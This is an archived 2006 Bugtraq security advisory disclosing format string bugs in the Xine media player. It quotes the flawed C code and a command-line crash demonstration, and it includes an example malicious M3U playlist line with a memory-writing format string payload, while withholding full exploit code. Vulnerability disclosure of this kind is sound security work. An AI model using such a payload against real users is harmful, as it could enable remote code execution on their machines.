bugtraq - Remote Xine Format String Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060418073105.11251.qmail@securityfocus.com>
Date: 18 Apr 2006 07:31:05 -0000
From: c0ntexb@...il.com
To: bugtraq@...urityfocus.com
Subject: Remote Xine Format String Vulnerability

/*
 *****************************************************************************************************************
  $ An open security advisory #16 - Xine Media Player Format String Bug
 *****************************************************************************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org
  2: Bug Released: April 18th 2006
  3: Bug Impact Rate: Undefined
  4: Bug Scope Rate: Local / Remote
 *****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for commercial gain.
 *****************************************************************************************************************

  Xine Media Player
  http://winehq.de

  "xine is a free multimedia player. It plays back CDs, DVDs, and VCDs. It also decodes multimedia files like
  AVI, MOV, WMV, and MP3 from local disk drives, and displays multimedia streamed over the Internet. It
  interprets many of the most common multimedia formats available - and some of the most uncommon formats, too."

  There are 2 format string bugs in the latest version of Xine that could be exploited by a malicious person
  to execute code on the system of a remote user running the media player against a malicious playlist file.
  By passing a format specifier in the path of a file that is embedded in a remote playlist, it is possible
  to trigger this bug.

  The evil code can be found here, in xine-ui-0.99.4/src/xitk/main.c:453:
  ... snip ...

  static void print_formatted(char *title, const char *const *plugins) {
    const char  *plugin;
    char         buffer[81];
    int          len;
    char        *blanks = "     ";

    printf(title);

    sprintf(buffer, "%s", blanks);
    plugin = *plugins++;

    while(plugin) {

      len = strlen(buffer);

      if((len + (strlen(plugin) + 3)) < 80) {
        sprintf(buffer, "%s%s%s", buffer, (strlen(buffer) == strlen(blanks)) ? "" : ", ", plugin);
      }
      else {
        printf(buffer);
        printf(",\n");
        snprintf(buffer, sizeof(buffer), "%s%s", blanks, plugin);
      }

  ... snip ...

  Looking at BUG-REPORT.txt we can verify the goodness:

  c0ntex@...auch:~$ xine --no-splash --bug-report -gI AAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
  %x%x%x%x%x%x%x
  This is xine (X11 gui) - a free video player v0.99.3.
  (c) 2000-2004 The xine Team.
  xiTK received SIGSEGV signal, RIP.
  Aborted
  c0ntex@...auch:~$ less BUG-REPORT.txt

  ... snip ...
  xine: found input plugin  : file input plugin

  ---------------------- (ERROR) ----------------------
  The specified file or mrl is not found. Please check it twice. (AAAAAAAA811bfb1be1fdac88e232888e2329
  8000206568546365707365696669696620646f20656c726d20727369206c746f6e20756f6620202e646e61656c5063206573
  6b636568207469206369777428202e65  [4141414141414141]  7825782578257825782578257825782578257825)
  ... snip ...

  An example malicious playlist file to trigger the bug:

  #EXTM3U
  #EXTINFO !!All_You_Playlists_Are_Belong_To_Us - SHHEEEELLLLCCCCOOOOOODDDDDDEEEEEEEEEEE!!
  AAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%.13068u%n%hn

  Obviously, we can see straight away that this is a straight forward format string bug which provides a trivial
  way to hijack .DTORS or some other useful address, allowing the execution of malicious code on a remote victims
  boxen.

  I dropped in to the Xine developers IRC channel over a year ago telling them about this bug, I never got a reply,
  it's my guess that they are as sick of Xine bugs as everyone else is. I hope you havent been using Xine to play
  remote Music fileZ!!! tsk tsk - those that have know who they are ;) and we do too :D

  We are not dropping exploit code with this advisory so that Xine can get their act together, write decent code,
  and release a patched version. I guess the Xine guys haven't heard of egrep. Anyway, maybe they will patch up
  before more people get owned.

  Full Disclosure -> Useful for the victims
  Open Source -> Useful for the hackers
  Shameless 1980's format string bug -> Priceless

  Regards to everyone I know, especially all the #social's @ pulltheplug.

*/